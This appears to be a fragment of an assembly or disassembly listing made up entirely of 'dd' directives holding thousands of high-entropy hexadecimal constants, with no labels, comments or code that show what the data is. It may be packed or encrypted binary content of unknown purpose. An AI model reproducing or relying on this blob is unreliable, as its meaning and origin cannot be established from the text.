dd 0B5C404D4h, 0C0F72D42h, 6BCA0F5Ch, 11C124F2h, 0BCE4B610h
dd 0D2F6434h, 0E051CE18h, 0DD8BC080h, 6CBC24EBh, 4658B400h
dd 0A3F3197Fh
dd 5D4300ECh, 83B2FFD5h, 400AD01h, 82F07AB0h, 18ED617h
dd 674FAC65h, 0D443378Dh, 490FDBEAh, 0DD3DFE72h, 0A5D00200h
dd 8D14EEh, 0BCB87718h, 0AFF351Dh, 8F0C8600h, 3CD4EC13h
dd 1E8BE811h, 3AEBB451h, 78E88E1Ch, 5F61EE0Eh, 0C3041700h
dd 0A2E9179h, 0E30BB659h, 3FA0986Eh, 0CBFD015Fh, 561FAB01h
dd 18BC2145h, 0FF007FD4h, 0D9231750h, 961E16Bh, 72C305C5h
dd 0B80D6001h, 5BF04194h, 0BFB048DCh, 1C680649h, 0C9004589h
dd 49D2048Dh, 8CA400A6h, 0C4A0234Dh, 0C700BDC2h, 0D5AB2948h
dd 713E0290h, 0D97F07DFh, 0A3F8F270h, 0A6E8EF17h, 0CC003A20h
dd 45D554B0h, 9097523Ch, 81949BBCh, 19CC9D10h, 0D38872D0h
dd 0A8F94820h, 4100B97Bh, 0D46CC6A4h, 0EC04BB15h, 0C8108721h
dd 6D018CC0h, 6E0F00B4h, 0ACDB0790h, 43E61DC9h, 9D3B2814h
dd 74A200D9h, 701787DAh, 0C693950h, 0B3D58300h, 0E56E3E46h
dd 0F7DFA000h, 58330132h, 0B5B1006Bh, 0BD123AF6h, 3FE8B498h
dd 0C9F37C00h, 2A419B7Fh, 0D88A0035h, 920D2106h, 89037152h
dd 6D37200Fh, 0A67691DAh, 5C05EBC8h, 3400BA82h, 0F68BED92h
dd 0D10119E0h, 0E63D154Ah, 0F5602ACEh, 0B46E3B7Fh, 0E18C5D02h
dd 42E06778h, 9FFA01C4h, 0A3030B73h, 0B1611BDCh, 76780003h
dd 2429A5ECh, 4707E5CBh, 19A33A18h, 59F91B60h, 0DB3000B0h
dd 94C7BCE2h, 2400FBBEh, 0A6B261B7h, 1F132E65h, 943B32C5h
dd 0CA00D840h, 0B3E207B9h, 0BC00FC2Fh, 0D785906Fh, 881CC8h
dd 3B21F99Bh, 0D069AFA7h, 0FFCE7D00h, 0E301C65Ah, 0ED10907h
dd 40804BF5h, 380B3CDCh, 0C3019678h, 0AA3D2526h, 95E1D474h
dd 1AAC4820h, 7838B63Eh, 51E94460h, 0FB69A103h, 14182FCh
dd 5D0FB818h, 0F77E68FFh, 5CE7100Eh, 6748C007h, 7387DDh
dd 0B3E4CE2Ch, 2632A3DBh, 0B7FA6C18h, 0FC258h, 18C30731h
dd 8EFD8C51h, 53BF21h, 113777D8h, 7001650h, 8B3BC604h
dd 0CC29C1Ch, 0F1E2FCB6h, 631875A1h, 1CB18029h, 0F8140051h
dd 44E6EBF7h, 5A00D794h, 10CC3943h, 0E46D1EB9h, 0E9910012h
dd 0B25BF0E2h, 8A00716Ch, 656AEDCEh, 0A211Bh, 54265A37h
dd 7D6777A1h, 505C4E00h, 8C9BE68Ah, 3E24075Bh, 30E31BF6h
dd 77926B97h, 988EB505h, 6C80C808h, 7507A4h, 76D96C9Bh
dd 0BF4DBA58h, 0DF004173h, 53A9ED25h, 26DE2422h, 0AB9F823h
dd 0FC079ABh, 5F20CA60h, 0B178A8C6h, 0E0937F00h, 40136AF4h
dd 51C831D1h, 5042DBF8h, 31626FD8h, 5D861400h, 0BBFDA363h
dd 0B0DB00EDh, 0BEE22A64h, 0B301F854h, 0DDBDF7E3h, 2A7077FEh
dd 0AA283E2Ch, 816BB59Eh, 0F31BF286h, 70AC403Eh, 6D0513DDh
dd 5D881A1Dh, 1074DC40h, 1622412h, 0FC3A9E4Fh, 34DEA38Dh
dd 0B809A164h, 0DD74BC11h, 529F1900h, 960080BAh, 0D02DF902h
dd 0C42945h, 0EC297B2h, 347FDA3Bh, 0ED84F500h, 6D74B0B1h
dd 9EFB0FE1h, 0AF80E9D0h, 0FE7A3573h, 95337903h, 80B4EC5Bh
dd 7F715928h, 0B1A10010h, 57B86855h, 0E07E4D89h, 4A00A571h
dd 46111B2h, 0E8BE91EDh, 0A0E20F12h, 0E780B43Ah, 87A95FDh
dd 6532AA00h, 0D390413Fh, 0E6AB00D4h, 0A07CCDD9h, 7E0657F2h
dd 5558DE29h, 0F1BB3050h, 0EDDB4F79h, 154EF600h, 3F2192Fh
dd 351EEF3h, 0B59DEA43h, 0E3D06ED6h, 0CFE069A4h, 0E683C801h
dd 7385FCD5h, 0BDC45080h, 824A6CDAh, 0A4D02000h, 0C02227EDh
dd 91C11D3Eh, 74D58F19h, 0AE66CFC0h, 60C035A2h, 175D8514h
dd 76290116h, 53CFBD4Ch, 0DEADDC1Bh, 5159F500h, 0DDCEEF26h
dd 18420C4Fh, 0BCF83041h, 0FE168C0Ch, 7D1131h, 5FB26095h
dd 0CB9AEB73h, 5900497Ch, 0D48F99B5h, 701BD39Dh, 0CAC2022Ah
dd 77251309h, 0F66D8080h, 0E23AED8Bh, 353100C4h, 0CAE6B3BDh
dd 0CC620051h, 0B772E365h, 5400E529h, 608E8A6Eh, 0E08BCB1Ah
dd 36F800C1h, 85DB9B1h, 77E8CC63h, 0CB136D00h, 0E06F0B79h
dd 0D66B263Dh, 941A00A1h, 0F1CF10D4h, 1743EF0Fh, 962FE0BBh
dd 3A75CCA1h, 0AB00B6FDh, 0EA59FA61h, 28774B32h, 0CDB3DD00h
dd 405FDE8Ah, 90F29Ch, 673FEA1Eh, 89D1D2F2h, 3A72D6F2h
dd 0B598E900h, 9B8B68D4h, 777A001Eh, 4E29C11Dh, 5B3859E1h
dd 3C3D1E61h, 0A142E00h, 15D52Bh, 6336ABCBh, 0A831560Bh
dd 663A6901h, 0ED9F47B9h, 13ABF080h, 33650DE6h, 100E0DEh
dd 7B2275A2h, 92F40044h, 0AC851736h, 0C8C2E00Eh, 0C0610A3Ah
dd 184D153h, 0B3B75629h, 0DCC0F311h, 29C03C86h, 449C4850h
dd 0A4A10133h, 13AA46D9h, 2C8BECF7h, 5D965507h, 0FDF0C612h
dd 0BBAF8Ah, 4D117AACh, 35AD5AE5h, 634548A0h, 0FC7B0508h
dd 0E52362FEh, 6967AF00h, 0A7D009Eh, 7F99D2FEh, 5300764Ah
dd 0C074E643h, 3BBEAB3Dh, 84806A9Bh, 859F90F9h, 0AD00B7BDh
dd 0A92B7B19h, 8CC0Dh, 1C800F32h, 594FEBD0h, 0B6406D00h
dd 0A41A2D81h, 7D0700BBh, 5B741B67h, 0FE006556h, 8953A6CEh
dd 744AD68h, 0D7BA54BCh, 71C6E002h, 937C668Dh, 0A355B200h
dd 4B1F6312h, 5658C050h, 0E4AFE5F2h, 3A077F70h, 35AEB8DEh
dd 5C883640h, 477F56h, 86CE81D9h, 0E9804D87h, 1C8A8918h
dd 3E55241h, 9DBDA583h, 27E1B192h, 6AD6D044h, 308221C7h
dd 0F7A88434h, 55D72507h, 4A8C4B27h, 41F4F20h, 0FF9C1102h
dd 19D16C80h, 0C3F01DA5h, 57E29D58h, 8EA27009h, 0E39E009Ah
dd 129522h, 1777E090h, 6A760AD2h, 9ABCCB00h, 0D9936D8Eh
dd 0EFC600AAh, 6CC9D15Ah, 190075BAh, 0AE3F7DA8h, 7380A73h
dd 3185B993h, 0ECD1808Dh, 1D040415h, 625ECEE2h, 0B8A182C3h
dd 0C0AA3265h, 3B0F6426h, 9F00974Ah, 148A1004h, 0FBF2DA7h
dd 0FAD205E1h, 0D0113D47h, 391FF60Dh, 80004972h, 0BE61330Bh
dd 0FD320EBh, 7DC8AFCAh, 0D4095980h, 5C00CCE7h, 0A129760Ch
dd 3685E73h, 5AC43789h, 0F2F2BE23h, 0FBA448C0h, 1600F1F6h
dd 781F35A1h, 79206C76h, 9F440092h, 0FCE8C79h, 300142F7h
dd 0F6AEDDEDh, 12C8D38Dh, 9DAF006Ch, 0CDDBC846h, 117213FFh
dd 0BC5DE02Eh, 0C764F000h, 0C82A73Ch, 0F1079BA0h, 8801FC20h
dd 0AAE03AA5h, 1D31C2BAh, 0CFB26C0h, 2B5DD94Dh, 0ABB8B468h
dd 0B8439900h, 4FDAA582h, 8BD70029h, 9BAEFCD8h, 0AF502715h
dd 6D00C910h, 0B4D302Bh, 0E3909Ch, 3A0A7852h, 8C33EFA7h
dd 7F760700h, 2AD4201Bh, 0D0B8BCh, 5D274E58h, 0F6DBB0C8h
dd 200035F4h, 0C6B249BBh, 363AEC9Fh, 0C8D02D37h, 8B23851Eh
dd 81F2D800h, 3B02CA5Dh, 39B0C2D6h, 9BDE6520h, 9103567Ch
dd 0C43E61D2h, 5F48E07Ch, 0ACB8F6h, 97C87D13h, 0E3DE5EAFh
dd 0A947E805h, 0EC0F84B6h, 93A8A0FAh, 0DAF52Eh, 0F765EA32h
dd 40D26C85h, 13125500h, 0E7049787h, 8D9F00E2h, 4975DD18h
dd 600480Bh, 2C74F062h, 1AFB643h, 542E983Ah, 0C09A8001h
dd 9E1E3DE1h, 0D4C12640h, 88186B24h, 5080E2D1h, 2230A699h
dd 0C300F1F6h, 3BBC1F9Ah, 7534BB3h, 0A35F750Dh, 0B05E4747h
dd 18498BAFh, 5B876300h, 0EAC0B9A9h, 0C5FE0090h, 8B1F9E2Ch
dd 82E2DDB8h, 0F6C8CE00h, 356778E5h, 3DC177F3h, 0CF000245h
dd 0F0860D1Bh, 713BC094h, 5FDF8396h, 4AA1AFh, 2C606FE9h
dd 0F493C4ABh, 9EB8CE00h, 9C1D7BBCh, 718300DFh, 18EDBA5Fh
dd 0C203F9A6h, 0B08A0A2Fh, 3EA4A02Ah, 3C9EE068h, 558C7A04h
dd 291EB832h, 270E3Eh, 205F7D14h, 0DFACA5h, 850BA2BAh
dd 0A04E0B0h, 0EB4C9409h
dd 0AFD080B9h, 73E138h, 441DDB79h, 0E20DDD87h, 7FF80100h
dd 7E805F0h, 53F227h, 7B3B4F21h, 5F79B225h, 0EBCFA000h
dd 52ED02A7h, 5CB51F46h, 299BC016h, 94E0C8E4h, 24182261h
dd 0F0DBEC39h, 0F67B35B9h, 4F3A01E4h, 50141F32h, 0F5ADF064h
dd 0D9EE207Ch, 51DD9800h, 8782CCE9h, 138DF29h, 0F2A810B1h
dd 0CFA2F0B0h, 26182860h, 12988288h, 7DF9307h, 307EE975h
dd 0F82A3E91h, 14BEED00h, 8F21627h, 0BB0700C0h, 48257E5h
dd 0AA00E78Dh, 0E3BD5A76h, 1353C1h, 1AF24C50h, 0F88694D9h
dd 0A91EA307h, 0CF2002C8h, 0D2B1BAh, 8618374h, 86601033h
dd 8F385600h, 8E0E468Bh, 711800DDh, 6773B82Ah, 1E1E1C52h
dd 40C068D0h, 11E263CFh, 0A40B004Ah, 58D3C0AEh, 0F100ECC9h
dd 47CE7874h, 3F4EFB8Ah, 91DDBE7h, 9E62C087h, 0FAC8B999h
dd 2090EB30h, 88FE7Dh, 0C01A3EE0h, 0DD9E38ABh, 5D5CF200h
dd 0DC701FE9h, 48F93056h, 0C272AE50h, 0A1570500h, 7FD5DD3Eh
dd 0C88300A4h, 2BFBA581h, 0C11ED84Dh, 6A80787Bh, 0F3341AADh
dd 8D1400E6h, 8EC0A00Ah, 0AE00F568h, 5FC51FFFh, 34FF611h
dd 0BAF12A47h, 5B9A84EFh, 14752D60h, 390F2FE8h, 29D0DB27h
dd 789C0081h, 1D620350h, 9D8BC056h, 8EED41B5h, 82DB25EAh
dd 86D888D8h, 375CA05Bh, 102D22C3h, 8C838B89h, 12021E6h
dd 6F27DCAAh, 0C853C00Bh, 8B3BF979h, 85698E9Fh, 60240EF7h
dd 8EA74ECCh, 0BD4903C5h, 40E2EDA4h, 219404FDh, 0C3A93051h
dd 194C1528h, 0D1038A4h, 0BE8E0049h, 714311D0h, 517D55h
dd 9E9C4D13h, 0D43B8DB3h, 2D16C60Ch, 0F7210D7h, 0CB6E53E8h
dd 0BE0DB8C0h, 0A900AADDh, 5D5568F5h, 3BB96782h, 17003AD3h
dd 662FB5BFh, 8B077BDBh, 14FE85F6h, 0E8FAB8B3h, 0E8CA9143h
dd 3E2C18F1h, 9497B8BDh, 42616E00h, 76E378D9h, 0C66A0F7Ch
dd 27418281h, 0C4A5A1FFh, 0BC00DA8Ch, 78A2F0F1h, 63B13Bh
dd 0E085476Ah, 0EA87B73h, 281E8D00h, 515F245h, 2FB60344h
dd 91147DDDh, 0E3AA13D0h, 0A9E8A100h, 0D7EA278Bh, 0B7FE00AFh
dd 0BF6B1F5Ah, 450B7CF2h, 8026F72Ch, 957E1822h, 1E760082h
dd 0E7240688h, 0D701CA6Bh, 844BE3E1h, 0DEE81A52h, 0DF910037h
dd 833B2FE6h, 660F2347h, 6025EDD9h, 0EBCC0393h, 3DA000DBh
dd 0BF2648FBh, 0D0003750h, 0AF91274Fh, 1E05320Fh, 8051699Ah
dd 0C6E24723h, 8100D468h, 757B7E95h, 0AF502Ah, 0FA9C91A8h
dd 0EE9AB484h, 4308E00Eh, 64DBE365h, 969EE8BEh, 0C97B7Fh
dd 6CE35CC1h, 7B1CFD8h, 0F8F12B00h, 0DCF33A1Ah, 0D98007Bh
dd 1B25C231h, 2C16EC59h, 99005E6Ch, 5F89B23Dh, 3A1207B7h
dd 610371BDh, 0C49A2A60h, 5B0039F7h, 63B34F57h, 0AA6AD8h
dd 3D9D1F64h, 0A80F1AB8h, 77F82D01h, 76FA269Ch, 738761D0h
dd 3E097CE6h, 9D87FE21h, 30A83642h, 0C98A20CAh, 11744C00h
dd 5109DAE0h, 0EB550129h, 9EC58112h, 5718F0CFh, 0A031A02h
dd 0C101AB4Ah, 2820A3F8h, 87D00DEh, 706B1806h, 93007C61h
dd 0D8809DC7h, 131F3Eh, 83D6CEECh, 0B6DB18CFh, 7F00C2B8h
dd 0F8B43BE7h, 0B56D7Ch, 0C8F5E4FDh, 8FD01F3Fh, 0F92C8D03h
dd 0C8ED3BD5h, 1C6F8EBh, 0D4B194E2h, 605D761Ch, 8D0CADABh
dd 2892A72Dh, 0DD4002CBh, 0B645E2CDh, 0C6042121h, 0B85D4707h
dd 0F7CF9706h, 409AFC50h, 0D80F25D5h, 848DDC40h, 4306DDACh
dd 1B382993h, 761D04CFh, 0AE47A2A9h, 0ED3C2148h, 0C522FEEFh
dd 9B642FD8h, 5A4A0341h, 84507993h, 79925E31h, 9910D931h
dd 50C0AD6Fh, 0C78B11A7h, 0E11522E2h, 8EA17560h, 565450h
dd 21C6275Eh, 72F4880Ch, 0D9083207h, 7EB39D30h, 0D8D188FBh
dd 33340099h, 0CCFEF8A1h, 0DE392F1Fh, 1AB300D9h, 1363C336h
dd 59A60098h, 0FFCB05Bh, 0E900E5D8h, 30D3F3C0h, 9EFFDh
dd 8860A86Ch, 91177048h, 3F014400h, 1EE79C73h, 0AE652h
dd 0F86234EFh, 7435AFC4h, 94D7E903h, 0A8912A39h, 0FF1E257h
dd 0B7A3FBF9h, 0DF0A9BE0h, 2E00EF1Ch, 1358C488h, 24A2CB89h
dd 0C80ED1h, 0E62CE9C7h, 7E7367F0h, 23CE0700h, 0B5F204C0h
dd 46011C6Fh, 732FC0F3h, 0C1BA064Ch, 455D5B00h, 0E64DAB1Dh
dd 1917585h, 0A8C54192h, 0F4D4EA55h, 640C656Ah, 6823F66Fh
dd 0E4F1C020h, 6DE6DB51h, 971DCD04h, 9DC0B840h, 7F88277h
dd 9A108C08h, 0EB7C9984h, 9CED1A00h, 0EA6298h, 0F3838E94h
dd 0DB68044Bh, 336186C0h, 7177391h, 3DB021D9h, 9AD55011h
dd 725C4856h, 86751701h, 0A082490Eh, 2E1A9D89h, 15C0008Eh
dd 0DAE32DD9h, 0E800F154h, 3BFC6532h, 39B2D355h, 0F4843Fh
dd 175C7DCAh, 978ABA60h, 0E1094300h, 5518AC53h, 0F4E2007Ch
dd 154C6FA8h, 270096B5h, 73ED469Ch, 0B61942h, 5C696D8Ah
dd 0DCC96657h, 0B618800h, 7867A06Eh, 9A39034Ah, 26F18086h
dd 0F5EF5EA8h, 7799F00h, 0ADA04E16h, 0EB9B00EAh, 5D53983Fh
dd 217C440Bh, 0DC20B400h, 41652F9Ah, 845F00F6h, 0E2A6D907h
dd 330003B1h, 0E513944Dh, 0F2C12Bh, 9B71D33Eh, 0BB6BAD17h
dd 73F85Ch, 425CA479h, 7D0A73B3h, 85280036h, 4E6FC9EFh
dd 0AE00FC61h, 53A18F82h, 0E02A98C5h, 0C49105E5h, 896348h
dd 0CEE6ADCCh, 6D00BED4h, 0A6881C85h, 70181Fh, 4334B6F5h
dd 7A9D42EFh, 0CCCE271Dh, 0AD544CC0h, 2D5BD63h, 29ED09B3h
dd 0B5C04472h, 901483F6h, 0BCF880h, 0E4F37F97h, 2C3FEDh
dd 8AA92DC4h, 1C95DC90h, 97161703h, 7EE4AB0Ah, 0C7BF0010h
dd 93C28918h, 60242DD5h, 590FA4E8h, 5F9F2047h, 0EB851F0h
dd 4BB74FA1h, 53D70780h, 9800A83Fh, 27EBCEB2h, 0F35E93Ah
dd 80F05BEEh, 54FA9EC0h, 0D24EAC5h, 7809338Ch, 98A0287h
dd 0F3EDC0DEh, 5574ACh, 0D884C35Eh, 907692F6h, 0A103E800h
dd 1CD9AE01h, 7560BA0h, 1706F961h, 8F00A2F0h, 4A579682h
dd 0B8DB37B4h, 2FCD00CEh, 352AAB01h, 0BA00F723h, 0D62E9C7Ah
dd 631927h, 1577758Eh, 399AF326h, 8120EC00h, 70F09C23h
dd 0CB6402AEh, 2529FCD6h, 71042260h, 0BE28CDF4h, 6737A44Eh
dd 1AF05AFDh, 0DB753Bh, 5489244Bh, 981C5E10h, 0FC179901h
dd 6019BB4Dh, 0A11DF8h, 93F6D945h, 0BD0D50EAh, 5B574F02h
dd 609A11D8h, 0FC9134AAh, 35931E4Bh, 318EFAA3h, 21E3F32Ah
dd 0C580821Dh, 7E00913Fh, 725522FFh, 1A8566Bh, 0E43C3BF8h
dd 0C468D449h, 18002DCAh, 22A116D1h, 7665E2C2h, 252400B5h
dd 1C4FE4DEh, 2E009B93h, 488690E9h, 3E385A89h, 9A801F05h
dd 0D57DF1E3h, 967936E8h, 427C7000h, 0F387DBFAh, 201E0178h
dd 0C486B429h, 76F44171h, 0B6C0F353h, 0DB00D107h, 98AC370Ah
dd 723FD38h, 6667A2BCh, 1C44C04Fh, 0F404EF83h, 0F09B6F47h
dd 0CC569EC0h, 0B38A0079h, 58541BA1h, 0DE00909Ch, 8106D1FAh
dd 24A5A2A6h, 0B1074Ch, 6173E6E5h, 0E901885Ch, 8999F859h
dd 0E4500B0Fh, 50477270h, 93D4CEh, 19151C76h, 0C3855865h
dd 5C2E830Bh, 704F00EBh, 88A678h, 0AAF343BEh, 13F7E34Ch
dd 83EC6D3Ch, 0BBB11191h, 8400CDE9h, 16CD335h, 0DF2E0119h
dd 0D90B664h, 3B23C4C5h, 945A5000h, 7E84ABBCh, 0C0E40218h
dd 0C6AA740Fh, 0E9DCED81h, 6442DAF6h, 0B07AA807h, 227315EAh
dd 0D8D0651Fh, 0DEF7803Dh, 85474A75h, 4DC400D1h, 41CEB740h
dd 11000533h, 0F4A629F1h, 0F239B4h, 4C95E108h, 0DB069F45h
dd 0A5008C7Ch, 7B740AEEh
dd 3A7FA4E8h, 260071C2h, 76DC55F2h, 8B091D59h, 0CA1E90h
dd 0A3FC2FFAh, 7DE000D2h, 1608FFA9h, 0BA0028CDh, 732EEE90h
dd 213929h, 4F88FE38h, 9073CE8h, 0EA49FA0Ch, 0ACB8CEh
dd 11906EE3h, 5602B6F4h, 7DAF5100h, 0A02D4DEBh, 1297E0Bh
dd 68ED1F44h, 0F4B3473Fh, 559862F8h, 9E46A00h, 7F7E445Dh
dd 0BB580029h, 0FC5AAD16h, 79EC77CDh, 0DBE66600h, 36C768A9h
dd 0DDF50041h, 3AE9B399h, 2A0074D0h, 51C20BFh, 0BAF155h
dd 13E0C0FFh, 511BAD6Eh, 54A94400h, 7BF89D75h, 2DEB00BEh
dd 9424C209h, 0B1035A2Fh, 745F304Dh, 41DAF8EEh, 6EA8009Dh
dd 0D8DC7D6Dh, 0F70EA607h, 0C08EBCE1h, 9C35F59Ah, 3C9D0047h
dd 149FDA05h, 0AF007882h, 26338109h, 0F811885Dh, 7DFCE9B6h
dd 19D30B0Eh, 0E8835124h, 0BFA83007h, 2C006D01h, 6DF2A8Bh
dd 1FF043E8h, 0C073E07Ah, 461DD76Eh, 4F487795h, 74842CD4h
dd 0D5186300h, 0F9EE61h, 168BEF09h, 0C286D0FEh, 5FF37700h
dd 6261121Fh, 0C5E8E2h, 6D31B6EFh, 0F7D2C8DDh, 0CC9BC302h
dd 0C09D17BCh, 0D0AA40h, 8DF4278Ch, 66967E6Fh, 80DD5B3Ah
dd 0B79B8B4h, 60342CEh, 0A7E0DA58h, 0E800F823h, 0DD19342Fh
dd 0F315AAh, 8A9889F8h, 81DE2CB0h, 3A17E900h, 2103142Ah
dd 4F8C07CCh, 0A0BB35FEh, 7BC83D8h, 2648E300h, 20308729h
dd 0FE8102E0h, 32FC7EC4h, 0C9E5E860h, 0D4BAC0Eh, 0E389C025h
dd 391EB7BDh, 6180A154h, 84810880h, 21FE669h, 0EC803866h
dd 1541E43Ah, 0B9100351h, 0F28BA144h, 0BF83C1AFh, 9917E407h
dd 0A2BBA500h, 60D9EC37h, 23C800A8h, 6E1C3F67h, 71009E97h
dd 0A036F894h, 6DEDFDh, 576E3A7h, 7CBBD07Ah, 8E844300h
dd 6F65F5DBh, 78030317h, 0EEF75F08h, 4C045988h, 0FD03707Ch
dd 0D897AF44h, 0C59080A4h, 4EB43DF0h, 7369FB80h, 30DE6274h
dd 94722F00h, 54788EFh, 6CA80258h, 0AC31E32h, 7411C760h
dd 508B4503h, 0B004DA1Bh, 6F3206A8h, 3BA0D4C4h, 1731BB19h
dd 46BAC900h, 0FBF81138h, 0F37978h, 84954069h, 57B09096h
dd 1423A800h, 593E8BBh, 9AD90068h, 0EC4C5462h, 1100B5B3h
dd 6DE6CC2Ch, 7527C7DAh, 3ED71F7h, 1456AA5h, 66E85B76h
dd 0C500171Eh, 0D6F25149h, 0E0625Eh, 0CF538FB2h, 5A30C85Dh
dd 13238E01h, 2B7E3CDCh, 0EC40C5E1h, 3D5E5806h, 6D00A676h
dd 2EB7655Ch, 0EF12E05Bh, 7888E322h, 2CC2B04Dh, 9A92Fh
dd 0E3FB2E23h, 0F6002B26h, 0F7771110h, 3E7CECh, 0BD2C57F2h
dd 4A3DF879h, 38C29C48h, 10A5007Fh, 55437281h, 15C20A45h
dd 0D04903h, 9FCF374Fh, 3424529Dh, 3C0059CDh, 13D2AEE5h
dd 0CAF6262Dh, 0E02EDAh, 7C881115h, 0AA78EB67h, 0AB2EEF75h
dd 0A00EBAFEh, 9651875Ah, 74D2FAC0h, 23A5004Fh, 0D380F71Eh
dd 0CD01758Bh, 0AB3A5190h, 5EE0E085h, 0BA1F0039h, 0B5AA5F3h
dd 0DF1343D9h, 3B7423h, 0F6875A82h, 70902825h, 12B41642h
dd 636F2Ch, 3D651B64h, 393141E7h, 0D21E1859h, 8804C4h
dd 8ADA832Fh, 7B27A2DBh, 0C51CFF00h, 3C77F35Dh, 327230h
dd 185FDB4h, 0F8B38D11h, 13357C00h, 886A7BDFh, 3187D57h
dd 0FF548724h, 288F74Fh, 0A60060BDh, 66DE5B1Ah, 2C49C3CDh
dd 15F9ECBh, 0E97457ABh, 0D07BF45Eh, 6B675800h, 0DE318C08h
dd 2E3001Eh, 0BB69DBE5h, 0B8000756h, 122B712Ch, 0ECE6758Dh
dd 3A4B00ECh, 0C1A11EAFh, 45000AADh, 92688032h, 26CB9C4h
dd 6F5A99F2h, 20601A89h, 4B0037B3h, 0C4D70138h, 7F4F4312h
dd 0EFE828h, 2A724DEAh, 0AD9D0AF4h, 84A47D00h, 9F28AFFCh
dd 947C3FAEh, 0CC893339h, 0FA0041D9h, 0EE8B1773h, 5B3878E0h
dd 99B307D0h, 0DA472EE7h, 8A491830h, 162600EEh, 6AD65CF3h
dd 8C009339h, 0B02131AEh, 3FFDFF01h, 72805143h, 0E7D08E58h
dd 90005AB9h, 31559D63h, 31D1054h, 77342E7Bh, 6AA81A8Fh
dd 0C638DA2Fh, 89918EE9h, 40FE0BBh, 0BFA731Fh, 3F50B171h
dd 0FFCCB2h, 0BAB4C603h, 0E1EA3A55h, 0A738CB00h, 1CD0AF3Bh
dd 0A0CECC2Ch, 2521E701h, 1030ACAAh, 423008F0h, 609BA68h
dd 0F900E551h, 5832F21Eh, 8019E248h, 5F00AF62h, 0A96909F5h
dd 0E62B72F2h, 0CF850B7Eh, 3C805A4Eh, 0EB023730h, 3812DD01h
dd 47F3E744h, 0AD4BF0h, 3A1DA6BDh, 619F2656h, 0D390700h
dd 8F99F1ECh, 9396289Ah, 0A2E8BCh, 0E8EE030Bh, 0F8B9D71h
dd 0C174010Bh, 501420FCh, 1EBCF7h, 8612543Eh, 0E49CF3B6h
dd 1DE6FC3Ah, 7A80F92Dh, 0B0DDC4ADh, 60DE0026h, 8DF13985h
dd 0C8007302h, 0AFD780D5h, 3157827h, 0B1C5D2DEh, 19D8827Ah
dd 4B0005CFh, 3F022D77h, 1D61CA3h, 0E91FE297h, 0D9D5CD51h
dd 8503CE7h, 802D84C0h, 0A272BAA0h, 1F3FCF17h, 560F80E1h
dd 0E860AC97h, 19070EAFh, 48A3B736h, 31F00E9Eh, 0FF00F7FEh
dd 8CE5913Dh, 0BEFA0D4h, 9843841h, 0E9264600h, 0F8E580D2h
dd 0A85CFAFDh, 8F110311h, 0B9DE5228h, 0ED0840Bh, 0BE4E07C8h
dd 20DD7CF2h, 0BDDB854Ch, 67C65E00h, 7A7D482h, 5C910F9Eh
dd 0B64AD00Fh, 2C80A5C8h, 0C0D75C9h, 0FCABC3Dh, 0BCEE924Ah
dd 0E4E98900h, 368C6F1h, 41205A73h, 5BB1DD10h, 0C994FC37h
dd 0F578AB00h, 18CA2C3Bh, 71B5009Ch, 5679B98Dh, 421D727Ch
dd 1C425512h, 60816AD1h, 0B5EEE9h, 0CD3F083Ah, 5791A5CEh
dd 103101Eh, 16A840C0h, 3B6289B0h, 8519D059h, 70C02093h
dd 0D600CB70h, 974C5640h, 0F11224h, 0D0813D8Fh, 0F54AFF77h
dd 0A9D5B400h, 134BA107h, 0CF160006h, 6EF4ED54h, 0E0FD9D8h
dd 823D1BA4h, 0C262798Dh, 0A87ACFh, 8C26DE01h, 78844938h
dd 0FC947701h, 935498F8h, 4C033833h, 0A528E3D5h, 0D9E71607h
dd 0B9202C69h, 0E680859Eh, 99EE0E07h, 72805066h, 0DFD4CA4Ah
dd 19B7F703h, 80272E9Bh, 15F3928Eh, 907A7FE7h, 0D9284B00h
dd 51457BE2h, 8BA5A901h, 2B3DF373h, 13573424h, 900125h
dd 0EAECCE40h, 4271F597h, 0CDE3AC07h, 0D9808BC4h, 4072Dh
dd 9348DA72h, 20990179h, 69BFD700h, 0C6D9C02Fh, 0DAA50046h
dd 0D8E40EE1h, 0BB28DCB0h, 2305941Ch, 4A4335A1h, 0E0F55780h
dd 95CF17BFh, 0D90000E4h, 1EF296C5h, 8A097B04h, 14D1BAEDh
dd 24CC85D1h, 817300F4h, 0E2185B28h, 7E00059Bh, 64CA10D8h
dd 9D45DDh, 0AA6AEF3Bh, 6636F7CEh, 920B200h, 0F2A57AE8h
dd 0C2B40074h, 0B0241F19h, 790E1D84h, 0C9350B43h, 0A598603Ah
dd 0FF75002Ch, 46981061h, 7B00C1DDh, 0C393199Fh, 1CAD0703h
dd 0C55A1137h, 80A2C071h, 59E1CC3h, 0DD78A007h, 0C0DFF82Bh
dd 3C45ADB6h, 1EAE0033h, 0B56AEDA7h, 7B0073E7h, 2CFEC04h
dd 0F52C570h, 2B58C666h, 0D2BAB2E0h, 0EE00919Bh, 4AC7BDAh
dd 0EF54F6h, 482059CCh, 10A0C12Bh, 81AAED00h, 9A75E9D8h
dd 331800F5h, 0A6789FD5h, 0F000D7AEh, 2B9A06Dh, 1C808CDh
dd 0E5BC663Ah, 0D064287Ch, 0EC079004h, 5D48C4DAh, 21359B10h
dd 54D000B4h, 0E63E6129h, 24008523h, 1AA93FB5h, 0BDF747h
dd 9C2F10AEh, 0FD9B7695h, 910F73EEh, 0A0A26D67h, 0F76501C5h
dd 71A1098Fh, 6C0059CDh, 0C4F85340h, 789C1012h, 76EAAC00h
dd 76ECB34Ch, 1FBC0045h, 755258FEh, 0AB00C6C0h, 200D7648h
dd 12CD03h, 8AA60C78h, 0FFF0BF70h, 0CAAC3309h, 1F1C8FE2h
dd 444FB7C0h, 7DABF8h, 9FFF71C7h, 0C98E6CE7h, 721FE300h
dd 0B3DC4697h, 0DA78000Dh
dd 623D6B3Ah, 0A63A8BCCh, 38E5825Dh, 0E0CEC302h, 0EA287BE4h
dd 2E6B0311h, 8427E868h, 62ABA6F0h, 0F376EC00h, 4FDF5833h
dd 32C9871h, 0CAFFF25Dh, 67AF2EA0h, 8064F03Ah, 0CC00721Eh
dd 2740215Bh, 1CD9CBh, 0D0816B3h, 6D99A176h, 0FC98BC98h
dd 4E275600h, 498C5110h, 6290002Dh, 0E080F434h, 0ED0F1412h
dd 0E09B3755h, 4EC6CCEh, 0FCF7674h, 0CD5A36F0h, 6FC0E2CEh
dd 9EBD0D4Dh, 0D6176E0Eh, 24C03C35h, 412E483Bh, 15E0A2h
dd 208DB509h, 39C26890h, 0A5D55Ch, 70988817h, 104E8h, 0C5FD1AE4h
dd 2A6EC72Dh, 16178100h, 0B7F52560h, 82BB0057h, 0C5657006h
dd 2400103Ah, 516147EBh, 1D17E1ACh, 7EAEA952h, 3CB7D400h
